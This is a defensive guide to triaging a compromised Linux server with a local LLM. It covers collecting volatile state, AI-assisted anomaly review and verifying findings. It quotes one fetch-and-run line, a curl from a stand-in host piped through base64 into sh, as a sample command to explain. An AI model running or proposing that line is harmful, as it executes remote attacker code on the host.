During an incident the bottleneck is rarely knowledge — it is reading volume under pressure. Thousands of log lines, dozens of processes, unfamiliar command lines, and an obfuscated payload, while someone asks every ten minutes whether the server can go back into rotation.
A local model is a genuinely good assistant for that reading. It is a terrible authority on containment decisions. This guide separates the two, and puts evidence preservation ahead of both.
Before Anything Else
Do not reboot — a reboot destroys running processes, network connections, memory contents, and often the only evidence of how the attacker got in. This is the most common irreversible mistake.
Isolate rather than power off — cut network access — firewall rule, VLAN change, or unplug — while keeping the system running.
Capture volatile state first — processes, connections, and open files exist only while the machine runs. Disk artifacts can wait; these cannot.
Work from a copy — run analysis against collected output, not by repeatedly poking the live host. Every command you run also changes timestamps.
Assume the tooling lies — a rootkit can replace ps, ls, and netstat. Cross-check against /proc directly, and prefer static binaries from trusted media for anything serious.
Keep the model local — evidence must not be uploaded to a third-party API. This alone decides the architecture — see our Ollama guide for a local setup.
Collect Volatile State
#!/usr/bin/env bash
# triage-collect.sh — capture volatile state to a directory for offline analysis
set -uo pipefail
OUT="/tmp/triage-$(hostname)-$(date -u +%Y%m%dT%H%M%SZ)"
mkdir -p "$OUT"
cap() { echo "== $* ==" >> "$OUT/$1.txt"; shift; "$@" >> "$OUT/collect.txt" 2>&1; }
{
echo "### DATE"; date -u
echo "### UPTIME"; uptime
echo "### PROCESSES"; ps auxww --forest
echo "### PROC FROM /proc";
for p in /proc/[0-9]*; do
printf '%s\t%s\t%s\n' "${p#/proc/}" \
"$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null)" \
"$(readlink -f "$p/exe" 2>/dev/null)"
done
echo "### LISTENING SOCKETS"; ss -tulpnH
echo "### ESTABLISHED"; ss -tpnH state established
echo "### DELETED-BUT-OPEN"; ls -l /proc/*/exe 2>/dev/null | grep -i deleted
echo "### LOGINS"; last -Fwi | head -40
echo "### FAILED AUTH"; journalctl -u ssh -p warning --no-pager | tail -60
echo "### CRON"; for f in /etc/cron* /var/spool/cron/crontabs/*; do echo "-- $f"; cat "$f" 2>/dev/null; done
echo "### SYSTEMD RECENT"; find /etc/systemd /usr/lib/systemd -name '*.service' -newermt '-14 days' 2>/dev/null
echo "### AUTHORIZED KEYS"; find /root /home -name authorized_keys -exec sh -c 'echo "-- $1"; cat "$1"' _ {} \; 2>/dev/null
echo "### RECENT BINARIES"; find /usr/bin /usr/sbin /usr/local -type f -newermt '-14 days' 2>/dev/null
echo "### WORLD-WRITABLE SUID"; find / -xdev -perm -4000 -newermt '-30 days' 2>/dev/null
} > "$OUT/collect.txt" 2>&1
echo "collected to $OUT"
Reading /proc directly matters — comparing ps output against the /proc walk exposes processes a tampered ps hides. A discrepancy is itself a finding.
Deleted-but-running executables — a process whose /proc/PID/exe points at a deleted file is a strong indicator — malware commonly unlinks itself after launching.
The 14-day windows — recently modified service units and system binaries are where persistence usually lands. Adjust the window to when you think intrusion began.
Where AI Genuinely Accelerates Triage
Point it at the collected file and ask narrow questions. These are pattern-reading tasks, which is exactly what models do well:
# 1. Triage the whole collection for anomalies
$ ollama run llama3.2 "You are a Linux incident responder reviewing triage output.
$(cat /tmp/triage-*/collect.txt)
List ONLY concrete anomalies you can point to in this data, ordered by severity.
For each: (a) what you observed, (b) the exact line, (c) why it is suspicious,
(d) the command to investigate further.
Do not speculate about anything not present in the data.
End with UNCERTAIN: what this collection does not tell you."
# 2. Explain an unfamiliar command line found in ps output
$ ollama run llama3.2 "Explain exactly what this command does, step by step,
and state whether it is malicious and why:
sh -c 'curl -s http://203.0.113.9/x|base64 -d|sh'"
# 3. Decode a layered payload — decode locally, never execute
$ echo "$ENCODED" | base64 -d | head -c 2000 # inspect first
$ echo "$ENCODED" | base64 -d > /tmp/payload.txt # then ask about the text
Obfuscated payloads — base64, hex, and shell-quoting chains are exactly what a model unpacks quickly. Decode with local tools, then ask about the resulting text — never pipe a payload into a shell.
Unfamiliar tooling — attackers use utilities you may not know. Asking what a binary or flag combination does is faster than a search.
Cross-artifact correlation — "which of these timestamps cluster together" over a large collection is tedious for a human and quick for a model.
Drafting the timeline — turning scattered artifacts into a chronological narrative is a strong use — then you verify each entry.
Writing the report — after you have concluded, having it draft the incident writeup from your notes saves real time.
Where AI Must Not Decide
Whether you were compromised — absence of findings in a collection is not evidence of safety. A model saying "nothing suspicious" means nothing suspicious was visible in the text you pasted.
Containment and scope — isolating a host, rotating credentials, and declaring blast radius are judgement calls with business consequences. They belong to humans.
Whether it is safe to restore service — the most dangerous question to delegate. Reintroducing a host with unremoved persistence restarts the incident.
Whether a file is malware — a model reads text; it does not analyze binaries. Use proper tooling and, if needed, a sandbox.
Legal and disclosure obligations — regulatory notification timelines are not something to ask a model about.
Deleting anything — never let AI-suggested cleanup run unreviewed. Removing evidence before you understand the intrusion is how root cause becomes unknowable.
The workflow that holds up: AI reads and proposes, you verify and decide. Every claim it makes should be confirmed against the system or the collected evidence before it changes what you do.
Verifying What It Tells You
# It flagged a process — confirm independently of ps
$ ls -l /proc/<pid>/exe /proc/<pid>/cwd
$ tr '\0' ' ' < /proc/<pid>/cmdline; echo
$ ss -tpn | grep -w <pid>
# It flagged a file — check package ownership and integrity
$ dpkg -S /usr/bin/suspect # Debian/Ubuntu
$ rpm -qf /usr/bin/suspect # RHEL-family
$ rpm -Va | head # verify installed files against the package DB
# It flagged a user or key — check the real timeline
$ stat /home/user/.ssh/authorized_keys
$ awk -F: '$3>=1000 {print $1, $3, $7}' /etc/passwd
$ grep -E 'useradd|usermod|passwd' /var/log/auth.log
# It flagged a systemd unit
$ systemctl cat suspect.service
$ systemd-analyze verify suspect.service
Package verification is particularly useful and often forgotten — rpm -Va or debsums tells you which system files no longer match what the package installed.
Persistence: What to Check Regardless
Have your own list and work it, using AI to explain what you find rather than to decide where to look:
Scheduled execution — user crontabs, /etc/cron.*, at jobs, and systemd timers. See our cron guide for where these live.
Service units — recently created or modified units in /etc/systemd/system, including user-level units under ~/.config/systemd.
SSH access — authorized_keys for every account including root, plus sshd_config changes — our SSH guide covers what should be there.
Shell initialization — .bashrc, .profile, /etc/profile.d/ — quiet and frequently missed.
Library preloading — /etc/ld.so.preload and LD_PRELOAD in service environments — a classic rootkit hook.
New accounts and sudo rights — UID 0 accounts other than root, and additions under /etc/sudoers.d/.
Package manager hooks — apt and dnf hook directories can run commands on every update.
A Realistic Order of Operations
1. Isolate — network containment, machine stays powered on.
2. Collect — run the volatile capture; copy it off the host.
3. Triage with AI — get a ranked list of concrete anomalies from the collection.
4. Verify each finding — independently, against /proc, package databases, and file timestamps.
5. Build the timeline — first evidence of access, what ran, what was added.
6. Decide scope and containment — human decision — credentials, lateral movement, other hosts.
7. Rebuild rather than clean — for anything beyond a trivial compromise, reinstall from known-good media. Cleaning a rooted host is rarely provable.
8. Write it up and fix the entry point — an incident that does not change your hardening will recur — start from our hardening checklist.
Frequently Asked Questions
Can AI tell me whether my Linux server was hacked?
No. It can spot suspicious patterns in evidence you give it, which speeds up triage considerably, but absence of findings only means nothing suspicious appeared in that text. Confirming or ruling out a compromise requires independent verification and human judgement.
Should I use a cloud AI service during an incident?
No. Triage output contains hostnames, internal addresses, usernames, process arguments, and sometimes credentials — uploading it is a second data disclosure on top of the incident. Run a local model so evidence never leaves your control.
What should I never do first on a suspected compromised server?
Do not reboot. Rebooting destroys running processes, network connections, and memory-resident evidence, which is often the only record of how access was gained. Isolate the host at the network level instead and capture volatile state while it is still running.
Why check /proc instead of trusting ps?
A rootkit can replace ps, ls, and netstat to hide its own activity. Walking /proc directly and comparing against ps output can reveal hidden processes, and a discrepancy between the two is itself a significant finding.
Is it safe to let AI suggest cleanup commands?
Only as suggestions you review. Never run AI-proposed deletion unreviewed — removing artifacts before the intrusion is understood destroys the evidence needed to find the entry point. For anything beyond a trivial compromise, rebuilding from known-good media is safer than cleaning.